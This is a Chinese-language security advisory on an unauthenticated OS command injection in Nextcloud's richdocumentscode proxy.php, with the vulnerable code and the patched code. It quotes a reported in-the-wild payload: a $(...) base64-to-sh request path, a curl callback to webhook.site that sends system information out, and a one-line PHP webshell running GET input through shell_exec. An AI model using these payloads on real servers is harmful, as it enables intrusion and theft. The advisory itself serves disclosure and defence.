2026-10-24 13:01:25 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

【漏洞预警】Nextcloud 已有服务器被写入后门

YGnight
YGnight

night安全

2026年10月16日 08:10
四川

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

一、漏洞描述

richdocumentscode 是 Nextcloud 上的 Collabora 内置 CODE 服务器应用，把 Collabora 的 AppImage 下载到本机，由 PHP 直接拉起。

proxy.php 夹在 Nextcloud 和本机的 coolwsd 中间，是个转发的口子。

编辑文档的请求都从这过。

带 ?status 的请求不用登录。这时候本机 9983 端口连不上，pidfile 里也没有活进程，proxy.php 就会走 startCoolwsd() 把服务拉起来。重启之后正好落在这个状态。

启动命令里拼了一个 remote\_font\_config.url，值取自请求的 Host 和路径。这一串攻击者说了算。

官方定性是 OS 命令注入，编号 CWE-78。

CVSS 4.0 打 9.2，向量 AV:N/AC:L/AT:P/PR:N/UI:N，机密性、完整性、可用性三项都记 High。攻击不要任何权限，用户也不用配合。

受影响的是 26.4.303 之前的 richdocumentscode，修在 26.4.303，公告编号 GHSA-F97P-R72Q-64H2。

MITRE 10 月 14 日收录这条 CVE，描述里写明 9 月和 10 月已经有人在野利用。失陷报告里，应用目录下出现了 shx 开头的 PHP 文件。

官方同时说明，这条与 2025 年的 CVE-2025-66208 是两个独立的问题。

不受影响的部署官方也列清楚了。只装 richdocuments、不装这个内置应用的没事，Collabora 用 Docker、发行版包或者托管服务的也没事。

触发还要求站点走 HTTPS。remote\_font\_config.url 只在 HTTPS 下才会拼出来，CVSS 的 Attack Requirements 记 Present 说的就是这个。


CVE 编号	CVE-2026-110447
公告编号	GHSA-F97P-R72Q-64H2
漏洞类型	OS 命令注入，CWE-78
影响组件	Nextcloud 应用 richdocumentscode 的 proxy.php，仅内置 CODE 部署
受影响版本	26.4.303 之前的全部版本，报告中的样本为 26.4.302
修复版本	26.4.303
触发前提	CODE 服务未在运行，站点为 HTTPS
利用条件	无需认证，一个 GET 请求即可触发
危害面	以 Web 服务账号执行命令，在应用目录落 PHP webshell
CVSS	9.2，CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
在野利用	MITRE 记录 9 月、10 月已在野利用，有实际入侵与 webshell 样本，未进 CISA KEV 目录
EPSS	1.225%，FIRST 68 百分位

二、漏洞原理

请求是怎么走到启动命令这一步的。

startCoolwsd() 里，remote\_font\_config.url 的值是 https:// 加上 HTTP\_HOST，再接上 REQUEST\_URI，中间用正则把 richdocumentscode 开头到结尾的一段换成 richdocuments/settings/fonts.json。REQUEST\_URI 整个来自访问者发的 URL，路径里有什么都会原样进去。

// proxy.php 26.4.302 startCoolwsd()
$remoteFontConfigUrl = escapeshellarg(
\"https://\" . $\_SERVER['HTTP\_HOST']
. preg\_replace(\"/richdocumentscode.\*$/\",
\"richdocuments/settings/fonts.json\",
$\_SERVER['REQUEST\_URI']));
$remoteFontConfig = \"--o:remote\_font\_config.url=\" . $remoteFontConfigUrl;

$launchCmd = \"bash -c \\"( $appImage $remoteFontConfig $IPv4only
$lok\_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run ...
) >/dev/null & disown\\"\";
exec($launchCmd, $output, $return);

但整条命令又是按 bash -c 加一对双引号拼出来的。双引号里面，URL 外面那层单引号只是普通字符，命令替换照旧求值。

URL 本身过了 escapeshellarg，按说该被单引号护住。

于是请求路径里的 $(...) 在 exec 把命令交给 shell 的那一刻就被执行了。

官方论坛的说法一致，问题出在内置应用用 PHP exec 去拉 Collabora 的这个方式上，命令终究要过 shell。

公开报告里捞到的载荷长这样。

// 公开报告中的请求路径
/x$(x=$(echo${IFS}|base64${IFS}-d|sh))x/%2e%2e/
apps/richdocumentscode/proxy.php?status

// base64 解码后的内容
echo |base64 -d>shrf4645.php
curl -skm 20 https://webhook.site/<回跳 id>/rf4645.$(uname -a|base64|tr -d '\
'|tr +/ -\_|tr -d =)

// 落盘的 webshell
<?php $c=$\_GET['c']??'id'; echo shell\_exec($c.' 2>&1');

巧思在包裹的方式上。最外层那层 $() 里是个赋值，赋值不产生输出，整段替换展开成空字符串。URL 里剩下一对空片，%2e%2e 再把路径拨回 apps/richdocuments/settings/fonts.json。

载荷跑完，coolwsd 拿到手的还是个正常字体配置地址，服务照常起。进程列表里看不出异常。

webshell 本身走 GET 参数 c，命令交给 shell\_exec，返回值直接吐回响应。

多个失陷报告里，文件名都是 sh 加五位随机字符。攻击者随后用它翻找密码库文件和加密货币钱包。

26.4.303 的改法是把内层命令先拼完整，整体过一遍 escapeshellarg，再交给 bash -c。

// proxy.php 26.4.303 startCoolwsd()
$innerCmd = \"( $appImage $remoteFontConfig $IPv4only $lok\_allow --pidfile=$pidfile
|| $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only
$lok\_allow --pidfile=$pidfile) >/dev/null & disown\";
$launchCmd = \"bash -c \" . escapeshellarg($innerCmd);
exec($launchCmd, $output, $return);

外层 shell 看到的是一个单引号包起来的整体，不再解析里面的内容。到了内层 bash 手里，URL 外面那层单引号终于恢复正常工作，$(...) 变成 URL 里的死字。

同样的载荷再打一次，命令不会执行，这串字符只是被当成一个奇怪的字体配置地址传给 AppImage。维护方确认过，升级后进程列表里仍可能出现这串字符，不会有实际执行。

以上按 26.4.302 源码推导，两种拼法的引号行为在本机用相同结构模拟复现。